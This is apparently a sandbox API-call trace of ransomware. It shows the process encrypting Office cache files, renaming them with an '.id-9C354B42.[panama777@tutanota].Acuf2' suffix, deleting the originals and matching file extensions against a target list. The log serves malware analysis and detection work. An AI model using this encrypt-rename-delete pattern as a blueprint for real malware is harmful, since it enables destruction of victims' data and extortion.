	[0038.962] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.962] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0038.962] SetEndOfFile (hFile=0x160) returned 1
	[0038.963] CloseHandle (hObject=0x160) returned 1
	[0038.963] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.963] SetEndOfFile (hFile=0x168) returned 1
	[0038.964] CloseHandle (hObject=0x168) returned 1
	[0038.964] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.964] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1
	[0038.964] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString=".doc") returned 4
	[0038.965] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString=".docx") returned 5
	[0038.965] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0038.965] lstrlenW (lpString=".pdf") returned 4
	[0038.965] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString=".xls") returned 4
	[0038.965] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString=".xlsx") returned 5
	[0038.965] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0038.965] lstrlenW (lpString=".ppt") returned 4
	[0038.965] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString=".zip") returned 4
	[0038.965] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.965] lstrlenW (lpString=".rar") returned 4
	[0038.965] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString=".bz2") returned 4
	[0038.965] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString=".7z") returned 3
	[0038.965] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString=".dbf") returned 4
	[0038.965] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString=".1cd") returned 4
	[0038.965] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.965] lstrlenW (lpString=".jpg") returned 4
	[0038.965] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.965] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString=".doc") returned 4
	[0038.966] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString=".docx") returned 5
	[0038.966] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0038.966] lstrlenW (lpString=".pdf") returned 4
	[0038.966] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString=".xls") returned 4
	[0038.966] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString=".xlsx") returned 5
	[0038.966] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0038.966] lstrlenW (lpString=".ppt") returned 4
	[0038.966] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString=".zip") returned 4
	[0038.966] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0038.966] lstrlenW (lpString=".rar") returned 4
	[0038.966] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString=".bz2") returned 4
	[0038.966] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString=".7z") returned 3
	[0038.966] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0038.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString=".dbf") returned 4
	[0038.966] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString=".1cd") returned 4
	[0038.966] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0038.966] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79
	[0038.966] lstrlenW (lpString=".jpg") returned 4
	[0038.966] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0038.967] lstrcmpiW (lpString1=".chm", lpString2=".Acuf2") returned 1
	[0038.967] lstrlenW (lpString="pss10r.chm") returned 10
	[0038.967] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.968] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=27195) returned 1
	[0038.968] CloseHandle (hObject=0x168) returned 1
	[0038.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020
	[0038.968] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.968] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.968] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.968] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.969] GetLastError () returned 0x0
	[0038.969] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x6a3b, lpOverlapped=0x0) returned 1
	[0038.971] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x6a40, lpOverlapped=0x0) returned 1
	[0038.973] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0038.973] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0038.973] SetEndOfFile (hFile=0x160) returned 1
	[0038.973] CloseHandle (hObject=0x160) returned 1
	[0038.974] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.974] SetEndOfFile (hFile=0x168) returned 1
	[0038.975] CloseHandle (hObject=0x168) returned 1
	[0038.975] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0038.975] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1
	[0038.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.975] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.975] lstrlenW (lpString=".doc") returned 4
	[0038.975] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0038.975] lstrlenW (lpString=".docx") returned 5
	[0038.975] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1
	[0038.975] lstrlenW (lpString=".pdf") returned 4
	[0038.975] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0038.975] lstrlenW (lpString=".xls") returned 4
	[0038.976] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString=".xlsx") returned 5
	[0038.976] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1
	[0038.976] lstrlenW (lpString=".ppt") returned 4
	[0038.976] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString=".zip") returned 4
	[0038.976] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString=".rar") returned 4
	[0038.976] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString=".bz2") returned 4
	[0038.976] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0038.976] lstrlenW (lpString=".7z") returned 3
	[0038.976] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString=".dbf") returned 4
	[0038.976] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString=".1cd") returned 4
	[0038.976] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString=".jpg") returned 4
	[0038.976] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.976] lstrlenW (lpString=".doc") returned 4
	[0038.976] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0038.976] lstrlenW (lpString=".docx") returned 5
	[0038.976] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1
	[0038.976] lstrlenW (lpString=".pdf") returned 4
	[0038.976] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString=".xls") returned 4
	[0038.977] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString=".xlsx") returned 5
	[0038.977] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1
	[0038.977] lstrlenW (lpString=".ppt") returned 4
	[0038.977] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.977] lstrlenW (lpString=".zip") returned 4
	[0038.977] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString=".rar") returned 4
	[0038.977] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString=".bz2") returned 4
	[0038.977] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0038.977] lstrlenW (lpString=".7z") returned 3
	[0038.977] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0038.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.977] lstrlenW (lpString=".dbf") returned 4
	[0038.977] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0038.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.977] lstrlenW (lpString=".1cd") returned 4
	[0038.977] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0038.977] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0038.977] lstrlenW (lpString=".jpg") returned 4
	[0038.977] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0038.977] lstrcmpiW (lpString1=".chm", lpString2=".Acuf2") returned 1
	[0038.977] lstrlenW (lpString="setup.chm") returned 9
	[0038.977] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.978] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=67190) returned 1
	[0038.978] CloseHandle (hObject=0x168) returned 1
	[0038.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020
	[0038.978] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0038.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0038.978] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.978] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0038.978] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0038.978] GetLastError () returned 0x0
	[0038.978] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x10676, lpOverlapped=0x0) returned 1
	[0039.499] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x10680, lpOverlapped=0x0) returned 1
	[0039.501] ReadFile (in: hFile=0x168, lpBuffer=0x36b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1
	[0039.501] WriteFile (in: hFile=0x160, lpBuffer=0x36b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36b0020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0039.501] SetEndOfFile (hFile=0x160) returned 1
	[0039.501] CloseHandle (hObject=0x160) returned 1
	[0039.503] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.503] SetEndOfFile (hFile=0x168) returned 1
	[0039.504] CloseHandle (hObject=0x168) returned 1
	[0039.504] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0039.504] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1
	[0039.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.504] lstrlenW (lpString=".doc") returned 4
	[0039.504] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0039.504] lstrlenW (lpString=".docx") returned 5
	[0039.505] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1
	[0039.505] lstrlenW (lpString=".pdf") returned 4
	[0039.505] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString=".xls") returned 4
	[0039.505] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString=".xlsx") returned 5
	[0039.505] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1
	[0039.505] lstrlenW (lpString=".ppt") returned 4
	[0039.505] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString=".zip") returned 4
	[0039.505] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString=".rar") returned 4
	[0039.505] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString=".bz2") returned 4
	[0039.505] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0039.505] lstrlenW (lpString=".7z") returned 3
	[0039.505] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString=".dbf") returned 4
	[0039.505] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString=".1cd") returned 4
	[0039.505] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString=".jpg") returned 4
	[0039.505] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.505] lstrlenW (lpString=".doc") returned 4
	[0039.505] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1
	[0039.505] lstrlenW (lpString=".docx") returned 5
	[0039.506] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1
	[0039.506] lstrlenW (lpString=".pdf") returned 4
	[0039.506] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString=".xls") returned 4
	[0039.506] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString=".xlsx") returned 5
	[0039.506] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1
	[0039.506] lstrlenW (lpString=".ppt") returned 4
	[0039.506] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.506] lstrlenW (lpString=".zip") returned 4
	[0039.506] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString=".rar") returned 4
	[0039.506] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString=".bz2") returned 4
	[0039.506] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1
	[0039.506] lstrlenW (lpString=".7z") returned 3
	[0039.506] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1
	[0039.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.506] lstrlenW (lpString=".dbf") returned 4
	[0039.506] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1
	[0039.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.506] lstrlenW (lpString=".1cd") returned 4
	[0039.506] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1
	[0039.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72
	[0039.506] lstrlenW (lpString=".jpg") returned 4
	[0039.506] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0039.506] lstrcmpiW (lpString1=".xml", lpString2=".Acuf2") returned 1
	[0039.507] lstrlenW (lpString="Setup.xml") returned 9
	[0039.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.507] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2624) returned 1
	[0039.507] CloseHandle (hObject=0x168) returned 1
	[0039.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020
	[0039.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0039.507] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168
	[0039.507] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
	[0039.507] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1
